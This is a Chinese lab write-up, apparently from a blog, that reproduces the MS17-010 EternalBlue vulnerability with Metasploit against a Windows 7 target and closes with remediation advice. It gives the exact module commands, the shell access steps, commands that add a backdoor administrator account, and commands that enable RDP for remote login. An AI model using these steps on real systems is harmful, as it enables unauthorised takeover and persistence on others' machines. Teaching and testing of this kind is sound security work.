MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法
MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法
一、漏洞简介
永恒之蓝(EternalBlue)是一个由美国国家安全局(NSA)开发的漏洞利用工具,最初在2017年由“影子经纪人”(Shadow Brokers)组织泄露。这个漏洞利用工具利用了Windows操作系统中的一个安全漏洞(CVE-2017-0144),允许攻击者远程执行代码,无需用户交互即可远程控制受感染的计算机。具体来说,它利用了Windows Server Message Block (SMB) v1协议中的漏洞,使得攻击者可以在目标系统上执行恶意代码,甚至可以在未经授权的情况下传播自身。
永恒之蓝漏洞的爆发引发了全球范围内的关注,尤其是在2017年的“惊叹号勒索软件”(WannaCry ransomware)攻击中,该漏洞被大规模利用,造成了数十万台计算机的感染和停机事件。这次攻击揭示了许多组织和公司在保护其网络安全方面的薄弱之处,也促使了更广泛的安全漏洞修复和网络防护措施的加强。
漏洞原理
永恒之蓝漏洞的利用基于Windows操作系统中的一个漏洞(CVE-2017-0144),主要涉及以下几个方面的技术细节:
- Windows SMB服务漏洞:漏洞利用了Windows操作系统中的Server Message Block (SMB) v1协议的一个安全漏洞。SMB协议是Windows系统用于文件和打印机共享的网络协议。
- 远程执行代码(RCE):漏洞允许攻击者通过发送特制的网络数据包,无需用户交互即可远程执行恶意代码。这使得攻击者可以获取目标系统的控制权。
- 无需身份验证:攻击者可以在不需要凭据或者认证的情况下利用漏洞,这使得漏洞的利用更为危险和普遍。
影响版本
永恒之蓝漏洞主要影响以下版本的Windows操作系统:
- Windows Vista
- Windows Server 2008
- Windows 7
- Windows Server 2008 R2
二、漏洞复现
环境
- 攻击机:Linux kali (IP:192.168.220.128)
- 靶机:Windows 7 旗舰版(IP;192.168.220.133)
环境说明:Windows 7 防火墙关闭,445端口打开,两台主机之间可以ping通
三、复现过程
- 扫描局域网内的C段主机(主机发现)
扫描结果:
- 192.168.220.2
- 只有一个端口开放:53/tcp(domain)。这可能是一台运行DNS服务的设备。
- 192.168.220.128
- 所有扫描的1000个端口都处于“ignored states”状态,表示这台主机在扫描时未给出具体的端口状态信息。这可能是由于网络或主机的防火墙设置等原因导致的。
- 192.168.220.133
- 多个端口开放,包括80/tcp(http)、135/tcp(msrpc)、139/tcp(netbios-ssn)、445/tcp(microsoft-ds)、5357/tcp(wsdapi)以及一系列高端口(49152-49165/tcp)。
- 这表明这台主机可能是一台Windows主机,同时运行了HTTP服务、Microsoft RPC服务、NetBIOS服务、以及一些未知用途的高端口服务。
- 使用MSF的永恒之蓝漏洞模块
打开MSF
msfconsole
这个界面每次都不相同。
搜索漏洞代码:ms17_010
search ms17_010
这里可以看到26个可以利用的模块及其描述:
- exploit/windows/smb/ms17_010_eternalblue
- 揭露日期:2017-03-14
- 等级:average
- 检查:Yes
- 描述:MS17-010 EternalBlue SMB远程Windows内核池损坏漏洞利用,用于执行远程代码。
- 目标包括:
- Windows 7
- Windows Embedded Standard 7
- Windows Server 2008 R2
- Windows 8
- Windows 8.1
- Windows Server 2012
- Windows 10 Pro
- Windows 10 Enterprise Evaluation
- 这个模块利用了SMB服务上的漏洞,通常使用的是TCP端口445。
- exploit/windows/smb/ms17_010_psexec
- 揭露日期:2017-03-14
- 等级:normal
- 检查:Yes
- 描述:MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB远程Windows代码执行漏洞利用。
- 目标包括:
- 自动目标
- PowerShell
- 本地上传(Native upload)
- MOF上传(MOF upload)
- 这个模块利用了SMB服务上的漏洞,同样使用的是TCP端口445。
- auxiliary/admin/smb/ms17_010_command
- 揭露日期:2017-03-14
- 等级:normal
- 检查:No
- 描述:MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB远程Windows命令执行辅助模块。
- 这个模块用于执行远程命令,同样是基于SMB服务上的漏洞,端口也是TCP端口445。
- auxiliary/scanner/smb/smb_ms17_010
- 揭露日期:未指定
- 等级:normal
- 检查:No
- 描述:MS17-010 SMB远程执行代码检测辅助模块。
- 这个模块用于检测目标系统是否受到MS17-010漏洞的影响,同样基于SMB服务,端口是TCP端口445。
- 对主机进行扫描,查看其是否有永恒之蓝漏洞
使用模块24开始攻击:
use 24
也可以用
use scanner/smb/smb_ms17_010
用
options
查看需要设置的参数
设置目标主机
set rhost 192.168.220.133
,设置成功会返回rhost的值,用run开始
- VULNERABLE to MS17-010:扫描结果显示目标主机存在MS17-010漏洞,即永恒之蓝漏洞。
- 操作系统信息:目标主机运行的是Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)操作系统。
- 准备攻击
使用模块0开始攻击:
use 0
,也可以用
use windows/smb/ms17_010_eternalblue
查看需要设置的参数:
options
设置目标ip地址
set rhost 192.168.220.133
run
看到win说明成功
四、漏洞利用
获取靶机shell
shell
乱码是因为linux和windows的编码方式不同导致
使用代码:
chcp 65001
查看IP:
ipconfig
五、提升权限
- 创建新用户
net user bai 123456 /add
bai是用户名,12456是密码
- 将用户添加至管理员群组
net localgroup administrators bai /add
- 查看端口的开启情况
netstat -ano
- 开启3389端口
输入
exit
退出命令行,在meterpreter中输入
run post/windows/manage/enable_rdp
查看端口
成功开启3389端口
六、远程登录
打开一个新终端,输入
rdesktop 192.168.220.133
中途会让确认,输入yes确认
选择其他用户
输入我们刚才新加的用户名和密码
登录成功!
七、漏洞修复
永恒之蓝漏洞(EternalBlue)是一个影响Windows操作系统的严重安全漏洞,可被用于远程执行代码攻击。微软已经发布了修复补丁来解决这个漏洞,以及其他相关的安全更新。以下是修复永恒之蓝漏洞的主要方法:
- 安装官方补丁:
- 确保系统上安装了最新的安全补丁。微软已经发布了修复EternalBlue漏洞的补丁。您可以访问微软的官方网站或使用Windows Update来获取并安装最新的安全补丁。
- 更新操作系统:
- 确保操作系统是最新的版本,并且所有的安全更新和补丁都已安装。及时更新操作系统是保持系统安全的重要步骤之一。
- 禁用不必要的服务:
- 如果不需要使用远程桌面服务(RDP)或SMB服务,可以考虑禁用或限制它们的使用。尽可能减少系统暴露在外部攻击面。
- 配置防火墙:
- 在防火墙上设置规则,限制远程访问和网络流量,防止未经授权的访问和攻击。
- 网络隔离:
- 将重要的系统和网络基础设施隔离在内部网络中,减少来自外部网络的直接访问。
- 使用安全软件:
- 安装和使用有效的安全软件,如防病毒软件、防火墙和入侵检测系统(IDS),帮助识别和阻止潜在的威胁。